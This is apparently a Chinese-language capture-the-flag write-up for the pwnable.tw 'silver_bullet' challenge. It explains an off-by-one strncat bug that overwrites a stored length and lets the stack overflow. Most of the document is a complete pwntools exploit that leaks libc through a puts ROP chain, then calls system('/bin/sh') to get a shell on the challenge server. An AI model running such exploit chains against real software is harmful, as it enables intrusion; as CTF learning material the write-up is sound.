Contents
  1. 1. silver_bullet
    1. 1.1. 分析
    2. 1.2. exp

silver_bullet

分析

1
2
3
4
5
6
checksec:
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

ida中分析,可以得到栈结构

1
2
3
4
5
6
7
-00000034 input_create    db ?
-00000033 db ? ; undefined
..........................................
-00000005 db ? ; undefined
-00000004 input_length dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)

其中题目设置的power大小是0x30,剩下的0x4用来存放长度。问题就在Power up时的strncat

char * strncat(char *dest, const char *src, size_t n);把src所指字符串的前n个字符添加到dest结尾处(覆盖dest结尾处的’\0’),再追加’\0’

所以如果我们输入长度为a,再输入0x30-a的长度后,存放长度的位置就会被覆盖为\x00

重新计算后长度位存放的相当于是第二次添加的数据的长度,所以如果第二次添加的数据长度很小,powerup是根据长度位来判断是否可以继续添加,所以意味着可以继续添加数据到尾部,造成栈溢出….所以剩下的就是普通栈溢出做法了…记得构造beat成功,这样可以ret

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

binary = "./silver_bullet"
ip = "chall.pwnable.tw"
port = 10103
elf = ELF(binary)

start = 0x080484F0
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

def create(description):
io.recvuntil('Your choice :')
io.sendline('1')
io.recvuntil('Give me your description of bullet :')
io.send(description)

def power(description):
io.recvuntil('Your choice :')
io.sendline('2')
io.recvuntil('Give me your another description of bullet :')
io.send(description)

def beat():
io.recvuntil('Your choice :')
io.sendline('3')

def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
io = remote(ip, port)
libc = ELF("libc_32.so.6")

create('K'*47)
power('K')

payload = '\xff' * 3 + 'a' * 4 + p32(puts_plt) + p32(start) + p32(puts_got)
power(payload)
beat()
io.recvuntil("Oh ! You win !!\n")
puts_addr = u32(io.recv(4))
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()

log.success('puts_addr = ' + hex(puts_addr))
log.success('libc_base = ' + hex(libc_base))
log.success('system_addr = ' + hex(sys_addr))
log.success('binsh_addr = ' + hex(binsh_addr))

create('K'*47)
power('K')
payload = '\xff' * 3 + 'a' * 4 + p32(sys_addr) + p32(start) + p32(binsh_addr)
power(payload)
beat()
io.interactive()

if __name__ == '__main__':
pwn(ip, port, 0)

本地就不行…